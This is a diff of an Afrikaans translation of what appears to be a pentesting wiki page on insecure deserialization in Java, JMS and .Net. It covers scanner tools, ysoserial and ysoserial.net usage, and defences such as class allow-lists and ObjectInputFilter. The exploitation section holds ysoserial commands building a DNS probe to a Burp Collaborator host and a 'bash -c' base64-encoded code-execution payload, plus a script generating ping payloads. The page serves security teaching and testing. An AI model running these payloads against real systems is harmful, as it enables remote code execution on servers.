kwesbaar en waarvoor [**Ysoserial**](https://github.com/frohoff/ysoserial) 'n exploit kan voorsien. Of jy kan die libraries kontroleer wat op [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) aangedui word.\ +Jy kan ook [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) gebruik om moontlike gadget chains te soek wat uitgebuit kan word.\ +Wanneer jy **gadgetinspector** laat loop (na die bou), moenie omgee vir die hoop waarskuwings/foute wat dit deurgaan nie — laat dit net klaar hardloop. Dit sal al die bevindinge skryf onder _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Let asseblief daarop dat **gadgetinspector won't create an exploit and it may indicate false positives**. -#### Swartdoos toets +#### Black Box-toets -Met die Burp-uitbreiding [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kan jy **identifiseer watter biblioteke beskikbaar is** (en selfs die weergawes). Met hierdie inligting kan dit **makkelijker wees om 'n payload te kies** om die kwesbaarheid te ontplof.\ -[**Lees dit om meer oor GadgetProbe te leer**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ -GadgetProbe is gefokus op **`ObjectInputStream` deserialisasies**. +Deur die Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) te gebruik kan jy identifiseer **which libraries are available** (en selfs die weergawes). Met hierdie inligting kan dit **easier to choose a payload** wees om die kwesbaarheid te exploiteer.\ +[**Lees dit om meer te leer oor GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ +GadgetProbe fokus op **`ObjectInputStream` deserializations**. -Met die Burp-uitbreiding [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kan jy **kwesbare biblioteke identifiseer** wat met ysoserial ontplof kan word en hulle **ontplof**.\ -[**Lees dit om meer oor Java Deserialization Scanner te leer.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ -Java Deserialization Scanner is gefokus op **`ObjectInputStream`** deserialisasies. +Deur die Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) te gebruik kan jy **identify vulnerable libraries** wat met ysoserial uitgebuit kan word en dit **exploit**.\ +[**Lees meer oor Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ +Java Deserialization Scanner fokus op **`ObjectInputStream`** deserializations. -Jy kan ook [**Freddy**](https://github.com/nccgroup/freddy) gebruik om **deserialisasie** kwesbaarhede in **Burp** te **detecteer**. Hierdie plugin sal **nie net `ObjectInputStream`** verwante kwesbaarhede detecteer nie, maar ook kwesbaarhede van **Json** en **Yml** deserialisasie biblioteke. In aktiewe modus sal dit probeer om hulle te bevestig met behulp van slaap of DNS payloads.\ +Jy kan ook [**Freddy**](https://github.com/nccgroup/freddy) gebruik om deserialization vulnerabilities in **Burp** te detect. Hierdie plugin sal nie net **`ObjectInputStream`** verwante kwesbaarhede opspoor nie maar **ook** vulns van **Json** en **Yml** deserialization libraries. In active mode sal dit probeer om dit te bevestig deur sleep of DNS payloads te gebruik.\ [**Jy kan meer inligting oor Freddy hier vind.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) -**Serialisering toets** +**Serialization-toets** -Nie alles gaan oor die kontroleer of enige kwesbare biblioteek deur die bediener gebruik word nie. Soms kan jy in staat wees om **die data binne die geserialiseerde objek te verander en sommige kontroles te omseil** (misschien jou admin regte binne 'n webapp te gee).\ -As jy 'n java geserialiseerde objek vind wat na 'n webtoepassing gestuur word, **kan jy** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **gebruik om die geserialiseerde objek wat gestuur word in 'n meer menslike leesbare formaat te druk**. Om te weet watter data jy stuur, sal dit makliker wees om dit te verander en sommige kontroles te omseil. +Nie alles gaan oor om te kyk of enige kwesbare library deur die server gebruik word nie. Soms kan jy in staat wees om **change the data inside the serialized object and bypass some checks** (miskien gee dit jou admin privileges in 'n webapp).\ +As jy 'n java serialized object vind wat na 'n web application gestuur word, **kan jy gebruik maak van** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **om die serialized object wat gestuur word in 'n meer mensleesbare formaat uit te druk**. Om te weet watter data jy stuur sal dit makliker maak om dit te wysig en sekere kontroles te omseil. -### **Ontploffing** +### **Exploit** #### **ysoserial** -Die hoofgereedskap om Java deserialisasies te ontplof is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**aflaai hier**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Jy kan ook oorweeg om [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) te gebruik wat jou sal toelaat om komplekse opdragte (met pype byvoorbeeld) te gebruik.\ -Let daarop dat hierdie gereedskap **gefokus** is op die ontploffing van **`ObjectInputStream`**.\ -Ek sou **begin om die "URLDNS"** payload **te gebruik voor 'n RCE** payload om te toets of die inspuiting moontlik is. In elk geval, let daarop dat die "URLDNS" payload dalk nie werk nie, maar ander RCE payloads dalk wel. +Die hoof hulpmiddel om Java deserializations te exploiteer is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Jy kan ook oorweeg om [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) te gebruik wat jou toelaat om komplekse commands (byvoorbeeld met pipes) te gebruik.\ +Let daarop dat hierdie tool gefokus is op die uitbuiting van **`ObjectInputStream`**.\ +Ek sou **begin deur die "URLDNS"** payload te gebruik **voor 'n RCE** payload om te toets of die injection moontlik is. In elk geval, let daarop dat die "URLDNS" payload dalk nie werk nie maar 'n ander RCE payload wel. ```bash # PoC to make the application perform a DNS req java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload @@ -488,9 +498,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb # Base64 encode payload in base64 base64 -w0 payload ``` -Wanneer jy 'n payload vir **java.lang.Runtime.exec()** skep, kan jy **nie spesiale karakters** soos ">" of "|" gebruik om die uitvoer van 'n uitvoering te herlei nie, "$()" om opdragte uit te voer of selfs **argumente** aan 'n opdrag geskei deur **spasies** oor te dra (jy kan `echo -n "hello world"` doen, maar jy kan nie `python2 -c 'print "Hello world"'` doen nie). Om die payload korrek te kodeer, kan jy [hierdie webblad gebruik](http://www.jackson-t.ca/runtime-exec-payloads.html). +Wanneer jy 'n payload skep vir **java.lang.Runtime.exec()**, kan jy **nie spesiale karakters** soos ">" of "|" gebruik om die uitvoer van 'n uitvoering te herlei, "$()" om opdragte uit te voer, of selfs **argumente** aan 'n opdrag geskei deur **spasies** te gee (jy kan byvoorbeeld `echo -n "hello world"` doen, maar jy kan nie `python2 -c 'print "Hello world"'` doen nie). Om die payload korrek te enkodeer kan jy [hierdie webblad](http://www.jackson-t.ca/runtime-exec-payloads.html) gebruik. -Voel vry om die volgende skrip te gebruik om **alle moontlike kode-uitvoering** payloads vir Windows en Linux te skep en dit dan op die kwesbare webblad te toets: +Voel vry om die volgende script te gebruik om **all the possible code execution** payloads vir Windows en Linux te skep en dit dan op die kwesbare webblad te toets: ```python import os import base64 @@ -513,12 +523,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local') ``` #### serialkillerbypassgadgets -Jy kan **gebruik** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **saam met ysoserial om meer exploits te skep**. Meer inligting oor hierdie hulpmiddel in die **skyfies van die praatjie** waar die hulpmiddel voorgestel is: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) +Jy kan [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **gebruik saam met ysoserial om meer exploits te skep**. Meer inligting oor hierdie tool in die **slides van die praatjie** waar die tool aangebied is: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) #### marshalsec -[**marshalsec** ](https://github.com/mbechler/marshalsec)kan gebruik word om payloads te genereer om verskillende **Json** en **Yml** serialisering biblioteke in Java te exploiteer.\ -Om die projek te kompileer, moes ek **byvoeg** hierdie **afhangklikhede** aan `pom.xml`: +[**marshalsec** ](https://github.com/mbechler/marshalsec)kan gebruik word om payloads te genereer om verskillende **Json** en **Yml** serialiseringsbiblioteke in Java te exploit.\ +Om die projek te compile moes ek hierdie **afhanklikhede** by `pom.xml` **voeg**: ```html javax.activation @@ -540,50 +550,50 @@ mvn clean package -DskipTests ``` #### FastJSON -Lees meer oor hierdie Java JSON biblioteek: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) +Lees meer oor hierdie Java JSON-biblioteek: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) ### Labs -- As jy 'n paar ysoserial payloads wil toets, kan jy **hierdie webapp** uitvoer: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) +- As jy 'n paar ysoserial payloads wil toets kan jy **laat hierdie webapp loop**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) - [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) ### Waarom -Java gebruik baie serialisering vir verskeie doeleindes soos: +Java gebruik baie serialisering vir verskeie doeleindes, soos: -- **HTTP versoeke**: Serialisering word wyd gebruik in die bestuur van parameters, ViewState, koekies, ens. -- **RMI (Remote Method Invocation)**: Die Java RMI-protokol, wat heeltemal op serialisering staatmaak, is 'n hoeksteen vir afstandkommunikasie in Java-toepassings. -- **RMI oor HTTP**: Hierdie metode word algemeen gebruik deur Java-gebaseerde dik kliënt webtoepassings, wat serialisering vir alle objekkommunikasies benut. -- **JMX (Java Management Extensions)**: JMX benut serialisering om objek te oordra oor die netwerk. -- **Pasgemaakte Protokolle**: In Java is die standaardpraktyk om rou Java-objekte oor te dra, wat in komende eksploitvoorbeelde demonstreer sal word. +- **HTTP requests**: Serialisering word wyd gebruik in die bestuur van parameters, ViewState, cookies, ens. +- **RMI (Remote Method Invocation)**: Die Java RMI-protokol, wat heeltemal op serialisering staatmaak, is 'n hoeksteen vir afgeleë kommunikasie in Java-toepassings. +- **RMI over HTTP**: Hierdie metode word algemeen gebruik deur Java-gebaseerde thick client web applications, wat serialisering gebruik vir alle objekkommunikasie. +- **JMX (Java Management Extensions)**: JMX benut serialisering om objekte oor die netwerk te stuur. +- **Aangepaste protokolle**: In Java behels die standaardpraktyk die oordrag van rou Java-objekte, wat in komende exploit-voorbeelde gedemonstreer sal word. ### Voorkoming -#### Transient objek +#### Transient objects -'n Klas wat `Serializable` implementeer, kan enige objek binne die klas wat nie serialiseerbaar moet wees nie, as `transient` implementeer. Byvoorbeeld: +'n Klas wat `Serializable` implementeer kan enige objek binne die klas as `transient` merk as dit nie serialiseerbaar behoort te wees nie. Byvoorbeeld: ```java public class myAccount implements Serializable { private transient double profit; // declared transient private transient double margin; // declared transient ``` -#### Vermyde Serialisering van 'n klas wat `Serializable` moet implementeer +#### Vermy Serialisering van 'n klas wat Serializable moet implementeer -In scenario's waar sekere **objekte die `Serializable`**-koppelvlak moet implementeer weens klas hiërargie, is daar 'n risiko van onbedoelde deserialisering. Om dit te voorkom, verseker dat hierdie objekte nie-deserialiseerbaar is deur 'n `final` `readObject()`-metode te definieer wat konsekwent 'n uitsondering gooi, soos hieronder getoon: +In scenario's waar sekere **objekte die `Serializable` moet implementeer** as gevolg van die klas-hiërargie, bestaan daar 'n risiko van onbedoelde deserialisering. Om dit te voorkom, maak seker dat hierdie objekte nie-deserialiseerbaar is deur 'n `final` `readObject()`-metode te definieer wat konsekwent 'n uitsondering gooi, soos hieronder getoon: ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); } ``` -#### **Verbetering van Deserialisering Sekuriteit in Java** +#### **Verbetering van Deserialization Security in Java** -**Aanpassing van `java.io.ObjectInputStream`** is 'n praktiese benadering om deserialisering proses te beveilig. Hierdie metode is geskik wanneer: +**Customizing `java.io.ObjectInputStream`** is 'n praktiese benadering om deserialization-prosesse te beveilig. Hierdie metode is geskik wanneer: -- Die deserialisering kode is onder jou beheer. -- Die klasse wat verwag word vir deserialisering is bekend. +- Die deserialization-kode is onder jou beheer. +- Die klasse wat vir deserialization verwag word, is bekend. -Oorheers die **`resolveClass()`** metode om deserialisering tot slegs toegelate klasse te beperk. Dit voorkom deserialisering van enige klas behalwe dié wat eksplisiet toegelaat is, soos in die volgende voorbeeld wat deserialisering tot die `Bicycle` klas beperk: +Oorskry die **`resolveClass()`** metode om deserialization te beperk tot slegs toegelate klasse. Dit verhoed deserialization van enige klas behalwe dié wat eksplisiet toegestaan is, soos in die volgende voorbeeld wat deserialization slegs tot die `Bicycle` klas beperk: ```java // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html public class LookAheadObjectInputStream extends ObjectInputStream { @@ -604,17 +614,17 @@ return super.resolveClass(desc); } } ``` -**Gebruik van 'n Java Agent vir Sekuriteitsverbetering** bied 'n terugvaloplossing wanneer kode-modifikasie nie moontlik is nie. Hierdie metode geld hoofsaaklik vir **swartlys van skadelike klasse**, met 'n JVM parameter: +**Using a Java Agent for Security Enhancement** bied 'n terugvaloplossing wanneer kode-wysiging nie moontlik is nie. Hierdie metode is hoofsaaklik van toepassing op **blacklisting harmful classes**, deur 'n JVM parameter te gebruik: ``` -javaagent:name-of-agent.jar ``` -Dit bied 'n manier om deserialisering dinamies te beveilig, ideaal vir omgewings waar onmiddellike kodeveranderinge onprakties is. +Dit bied 'n manier om deserialization dinamies te beveilig, ideaal vir omgewings waar onmiddellike kode-wysigings onprakties is. Kyk na 'n voorbeeld in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) -**Implementering van Serialisering Filters**: Java 9 het serialisering filters bekendgestel via die **`ObjectInputFilter`** koppelvlak, wat 'n kragtige mekanisme bied om kriteria te spesifiseer waaraan serialiseerde objekke moet voldoen voordat hulle gedeserialiseer word. Hierdie filters kan globaal of per stroom toegepas word, wat 'n fyn beheer oor die deserialisering proses bied. +**Implementering van Serialization Filters**: Java 9 het serialization filters via die **`ObjectInputFilter`** interface bekendgestel, wat 'n kragtige meganisme bied om kriteria te spesifiseer waaraan serialized objects moet voldoen voordat hulle deserialized word. Hierdie filters kan globaal of per stream toegepas word, en bied fyn beheer oor die deserialization proses. -Om serialisering filters te gebruik, kan jy 'n globale filter instel wat op alle deserialisering operasies van toepassing is of dit dinamies vir spesifieke strome konfigureer. Byvoorbeeld: +Om serialization filters te gebruik, kan jy 'n global filter stel wat op alle deserialization operations van toepassing is, of dit dinamies vir spesifieke streams konfigureer. Byvoorbeeld: ```java ObjectInputFilter filter = info -> { if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth @@ -626,37 +636,38 @@ return Status.ALLOWED; }; ObjectInputFilter.Config.setSerialFilter(filter); ``` -**Benutting van Eksterne Biblioteke vir Verbeterde Sekuriteit**: Biblioteke soos **NotSoSerial**, **jdeserialize**, en **Kryo** bied gevorderde funksies vir die beheer en monitering van Java deserialisering. Hierdie biblioteke kan addisionele lae van sekuriteit bied, soos die witlys of swartlys van klasse, die analise van geserialiseerde objekte voor deserialisering, en die implementering van pasgemaakte serialiseringstrategieë. +**Gebruik van Eksterne Biblioteke vir Verbeterde Sekuriteit**: Biblioteke soos **NotSoSerial**, **jdeserialize**, en **Kryo** bied gevorderde funksies vir die beheer en monitering van Java deserialization. Hierdie biblioteke kan bykomende sekuriteitslae verskaf, soos whitelisting of blacklisting van classes, ontleding van serialized objects voor deserialization, en die implementering van pasgemaakte serialization strategies. -- **NotSoSerial** onderskep deserialiseringprosesse om die uitvoering van onbetroubare kode te voorkom. -- **jdeserialize** stel die analise van geserialiseerde Java-objekte in staat sonder om hulle te deserialiseer, wat help om potensieel kwaadwillige inhoud te identifiseer. -- **Kryo** is 'n alternatiewe serialiseringraamwerk wat fokus op spoed en doeltreffendheid, en bied konfigureerbare serialiseringstrategieë wat sekuriteit kan verbeter. +- **NotSoSerial** onderskep deserialization prosesse om die uitvoering van onbetroubare code te voorkom. +- **jdeserialize** maak ontleding van serialized Java objects moontlik sonder om hulle te deserialiseer, wat help om moontlik kwaadwillige inhoud te identifiseer. +- **Kryo** is 'n alternatiewe serialization framework wat klem lê op spoed en doeltreffendheid, en bied configureerbare serialization strategies wat sekuriteit kan verbeter. ### Verwysings - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) -- Deserialisering en ysoserial praat: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) +- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) - [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) - [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) -- Praat oor gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) en skyfies: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) -- Marshalsec papier: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) +- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) +- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) -- Java en .Net JSON deserialisering **papier:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** praat: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) en skyfies: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) -- Deserialiserings CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) +- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) -## JNDI Inspuiting & log4Shell +## JNDI Injection & log4Shell + +Vind wat **JNDI Injection is, hoe dit misbruik kan word via RMI, CORBA & LDAP en hoe om log4shell uit te buit** (en 'n voorbeeld van hierdie kwesbaarheid) op die volgende bladsy: -Vind uit wat **JNDI Inspuiting is, hoe om dit via RMI, CORBA & LDAP te misbruik en hoe om log4shell te ontgin** (en 'n voorbeeld van hierdie kwesbaarheid) op die volgende bladsy: {{#ref}} jndi-java-naming-and-directory-interface-and-log4shell.md {{#endref}} -## JMS - Java Boodskapdiens +## JMS - Java Message Service -> Die **Java Boodskapdiens** (**JMS**) API is 'n Java boodskap-georiënteerde middleware API vir die stuur van boodskappe tussen twee of meer kliënte. Dit is 'n implementering om die produsent–verbruiker probleem te hanteer. JMS is 'n deel van die Java Platform, Enterprise Edition (Java EE), en is gedefinieer deur 'n spesifikasie wat by Sun Microsystems ontwikkel is, maar wat sedertdien deur die Java Gemeenskapsproses gelei is. Dit is 'n boodskapstandaard wat toelaat dat toepassingskomponente gebaseer op Java EE boodskappe kan skep, stuur, ontvang en lees. Dit laat die kommunikasie tussen verskillende komponente van 'n verspreide toepassing toe om losweg gekoppel, betroubaar en asynchrone te wees. (Van [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). +> Die **Java Message Service** (**JMS**) API is 'n Java message-oriented middleware API vir die stuur van boodskappe tussen twee of meer kliënte. Dit is 'n implementering om die produsent–verbruiker probleem te hanteer. JMS is deel van die Java Platform, Enterprise Edition (Java EE), en is gedefinieer deur 'n spesifikasie ontwikkel by Sun Microsystems, maar wat sedertdien deur die Java Community Process gelei word. Dit is 'n boodskapprotokol wat toelaat dat toepassingskomponente gebaseer op Java EE boodskappe kan skep, stuur, ontvang, en lees. Dit maak kommunikasie tussen verskillende komponente van 'n verspreide toepassing losweg gekoppeld, betroubaar en asinchronies. (Van [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). ### Produkte @@ -666,61 +677,61 @@ Daar is verskeie produkte wat hierdie middleware gebruik om boodskappe te stuur: ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (1056).png>) -### Ontginning +### Uitbuiting -So, basies is daar 'n **klomp dienste wat JMS op 'n gevaarlike manier gebruik**. Daarom, as jy **genoeg regte** het om boodskappe na hierdie dienste te stuur (gewoonlik sal jy geldige akrediteer nodig hê) kan jy in staat wees om **kwaadwillige geserialiseerde objekte te stuur wat deur die verbruiker/abonnee gedeserialiseer sal word**.\ -Dit beteken dat in hierdie ontginning al die **kliënte wat daardie boodskap gaan gebruik, besmet sal raak**. +Daar is basies 'n **klomp dienste wat JMS op 'n gevaarlike manier gebruik**. Daarom, as jy **genoegsame voorregte** het om boodskappe aan hierdie dienste te stuur (gewoonlik sal jy geldige credentials benodig) kan jy in staat wees om **malicious serialized objects te stuur wat deur die consumer/subscriber gedeserialiseer sal word**.\ +Dit beteken dat in hierdie uitbuiting al die **kliënte wat daardie boodskap gaan gebruik geïnfecteer sal raak**. -Jy moet onthou dat selfs al is 'n diens kwesbaar (omdat dit onveilige deserialisering van gebruikersinvoer doen) jy steeds geldige gadgets moet vind om die kwesbaarheid te ontgin. +Onthou dat selfs al is 'n diens kwesbaar (omdat dit user input onveilig deserialiser), moet jy steeds geldige gadgets vind om die kwesbaarheid te benut. -Die hulpmiddel [JMET](https://github.com/matthiaskaiser/jmet) is geskep om **verbinding te maak en hierdie dienste aan te val deur verskeie kwaadwillige geserialiseerde objekte te stuur wat bekende gadgets gebruik**. Hierdie ontginnings sal werk as die diens steeds kwesbaar is en as enige van die gebruikte gadgets binne die kwesbare toepassing is. +Die instrument [JMET](https://github.com/matthiaskaiser/jmet) is geskep om **met hierdie dienste te verbind en aan te val deur verskeie malicious serialized objects te stuur wat bekende gadgets gebruik**. Hierdie eksploit sal werk as die diens steeds kwesbaar is en as enige van die gebruikte gadgets binne die kwesbare toepassing is. ### Verwysings -- [Patchstack advies – Everest Forms ongeverifieerde PHP Objekt Inspuiting (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/) +- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/) -- JMET praat: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) -- Skyfies: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) +- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) +- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) ## .Net -In die konteks van .Net, werk deserialisering ontginnings op 'n manier soortgelyk aan dié wat in Java gevind word, waar gadgets ontgin word om spesifieke kode te laat loop tydens die deserialisering van 'n objek. +In die konteks van .Net werk deserialization exploits op 'n soortgelyke wyse as in Java, waar gadgets misbruik word om spesifieke code uit te voer tydens die deserialisering van 'n object. ### Vingerafdruk #### WhiteBox -Die bronkode moet ondersoek word vir voorkomste van: +Die bronkode moet nagegaan word vir voorkoms van: 1. `TypeNameHandling` 2. `JavaScriptTypeResolver` -Die fokus moet wees op serialiseerders wat toelaat dat die tipe deur 'n veranderlike onder gebruikersbeheer bepaal word. +Die fokus moet wees op serializers wat toelaat dat die tipe deur 'n veranderlike onder gebruikersbeheer bepaal word. #### BlackBox -Die soektog moet gerig wees op die Base64-gecodeerde string **AAEAAAD/////** of enige soortgelyke patroon wat moontlik op die bediener-kant gedeserialiseer kan word, wat beheer oor die tipe wat gedeserialiseer moet word, toelaat. Dit kan insluit, maar is nie beperk tot nie, **JSON** of **XML** strukture wat `TypeObject` of `$type` bevat. +Die soektog moet gemik wees op die Base64-geënkodeerde string **AAEAAAD/////** of enige soortgelyke patroon wat op die bediener-deserialisering kan ondergaan en beheer oor die tipe gee wat gedeserialiseer gaan word. Dit kan, maar is nie beperk tot nie, **JSON** of **XML** strukture wat `TypeObject` of `$type` bevat. ### ysoserial.net -In hierdie geval kan jy die hulpmiddel [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) gebruik om **die deserialisering ontginnings te skep**. Sodra jy die git-repositori afgelaai het, moet jy **die hulpmiddel saamstel** met Visual Studio byvoorbeeld. +In hierdie geval kan jy die instrument [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) gebruik om **die deserialization exploits te skep**. Sodra jy die git repository afgelaai het, moet jy die instrument **compile** deur byvoorbeeld Visual Studio te gebruik. -As jy wil leer oor **hoe ysoserial.net sy ontginning skep** kan jy [**hierdie bladsy kyk waar die ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter verduidelik word**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). +As jy wil leer oor **hoe ysoserial.net sy eksploit skep**, kan jy [**hierdie bladsy nagaan waar die ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter verduidelik word**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). -Die hoofopsies van **ysoserial.net** is: **`--gadget`**, **`--formatter`**, **`--output`** en **`--plugin`.** +Die hoof opsies van **ysoserial.net** are: **`--gadget`**, **`--formatter`**, **`--output`** en **`--plugin`.** -- **`--gadget`** word gebruik om die gadget aan te dui wat misbruik moet word (gee die klas/funksie wat tydens deserialisering misbruik sal word om opdragte uit te voer). -- **`--formatter`**, gebruik om die metode aan te dui om die ontginning te serialiseer (jy moet weet watter biblioteek die agterkant gebruik om die payload te deserialiseer en dieselfde gebruik om dit te serialiseer) -- **`--output`** word gebruik om aan te dui of jy die ontginning in **raw** of **base64** geënkodeer wil hê. _Let daarop dat **ysoserial.net** die payload sal **kodeer** met **UTF-16LE** (kodeering wat standaard op Windows gebruik word) so as jy die raw kry en dit net van 'n linux-konsol kodeer, kan jy 'n paar **kodeering-kompatibiliteitsprobleme** hê wat die ontginning sal verhinder om behoorlik te werk (in HTB JSON box het die payload in beide UTF-16LE en 